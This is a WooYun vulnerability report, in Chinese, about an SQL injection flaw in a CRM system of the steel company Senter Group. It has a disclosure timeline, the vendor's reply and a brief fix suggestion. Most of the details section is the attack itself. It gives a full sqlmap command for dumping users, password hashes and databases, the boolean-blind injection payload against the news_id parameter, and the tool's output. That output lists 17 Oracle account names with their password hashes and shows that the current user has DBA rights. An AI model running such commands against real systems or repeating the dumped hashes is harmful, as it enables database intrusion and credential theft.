当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154191

漏洞标题：森特集团某crm系统存在sql注射漏洞（DBA权限，17位系统管理员密码泄露，15个库）

相关厂商：森特集团

漏洞作者： 路人甲

提交时间：2015-11-26 02:04

修复时间：2016-01-14 11:26

公开时间：2016-01-14 11:26

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-26： 细节已通知厂商并且等待厂商处理中
2015-11-30： 厂商已经确认，细节仅向厂商公开
2015-12-10： 细节向核心白帽子及相关领域专家公开
2015-12-20： 细节向普通白帽子公开
2015-12-30： 细节向实习白帽子公开
2016-01-14： 细节向公众公开

简要描述：

森特集团致力于精品钢的研发与服务，依赖其独有的垂直一体化经营生产以及传统业务与电子商务相结合，集团长期受益于中国城镇化以及绿色环保行业的发展规划，竭力于打造最佳精品钢供应链服务商。

详细说明：

地址：http://**.**.**.**/LoginAction.do?method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE

python sqlmap.py -u "http://**.**.**.**/LoginAction.do?method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE" -p news_id --technique=BT --random-agent --batch --current-user --is-dba --users --passwords --dbs

漏洞证明：

---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE' AND 8474=8474 AND 'mGdD'='mGdD
---
web application technology: JSP
back-end DBMS: Oracle
current user:    'CSCRM'
current user is DBA:    True
database management system users [17]:
[*] CSCRM
[*] CSCRM_LOG
[*] CSERP
[*] CSERP_LOG
[*] DBSNMP
[*] DIP
[*] EXFSYS
[*] HAPROBE
[*] NBERP
[*] NBERP_LOG
[*] OTK
[*] OUTLN
[*] PERFSTAT
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
database management system users password hashes:
[*] CSCRM [1]:
    password hash: 39F831FB305A65A8
[*] CSCRM_LOG [1]:
    password hash: A41655C4D5B64611
[*] CSERP [1]:
    password hash: 24C947C86878F3A8
[*] CSERP_LOG [1]:
    password hash: D171DC5F57E1810A
[*] DBSNMP [1]:
    password hash: E066D214D5421CCC
[*] DIP [1]:
    password hash: CE4A36B8E06CA59C
[*] EXFSYS [1]:
    password hash: 66F4EF5650C20355
[*] HAPROBE [1]:
    password hash: 50013FB06ADA1CF3
[*] NBERP [1]:
    password hash: B3B7E9AA24602B1E
[*] NBERP_LOG [1]:
    password hash: 00B522F569DD04F1
[*] OTK [1]:
    password hash: 61E4489818A29E8B
[*] OUTLN [1]:
    password hash: 4A3BA55E08595C81
[*] PERFSTAT [1]:
    password hash: AC98877DE1297365
[*] SYS [1]:
    password hash: 5638228DAF52805F
[*] SYSTEM [1]:
    password hash: D4DF7931AB130E37
[*] TSMSYS [1]:
    password hash: 3DF26A8B17D0F29F
[*] WMSYS [1]:
    password hash: 7C9BA362F8314299
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE' AND 8474=8474 AND 'mGdD'='mGdD
---
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE' AND 8474=8474 AND 'mGdD'='mGdD
---
web application technology: JSP
back-end DBMS: Oracle
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: news_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: method=qrySystemPostByID&news_id=99378ABCF7841BC6E04013AC3C0027DE' AND 8474=8474 AND 'mGdD'='mGdD
---
web application technology: JSP
back-end DBMS: Oracle
available databases [15]:
[*] CSCRM
[*] CSCRM_LOG
[*] CSERP
[*] CSERP_LOG
[*] DBSNMP
[*] EXFSYS
[*] NBERP
[*] NBERP_LOG
[*] OTK
[*] OUTLN
[*] PERFSTAT
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS

修复方案：

增加过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-11-30 11:24

厂商回复：

CNVD未直接复现所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。

最新状态：

暂无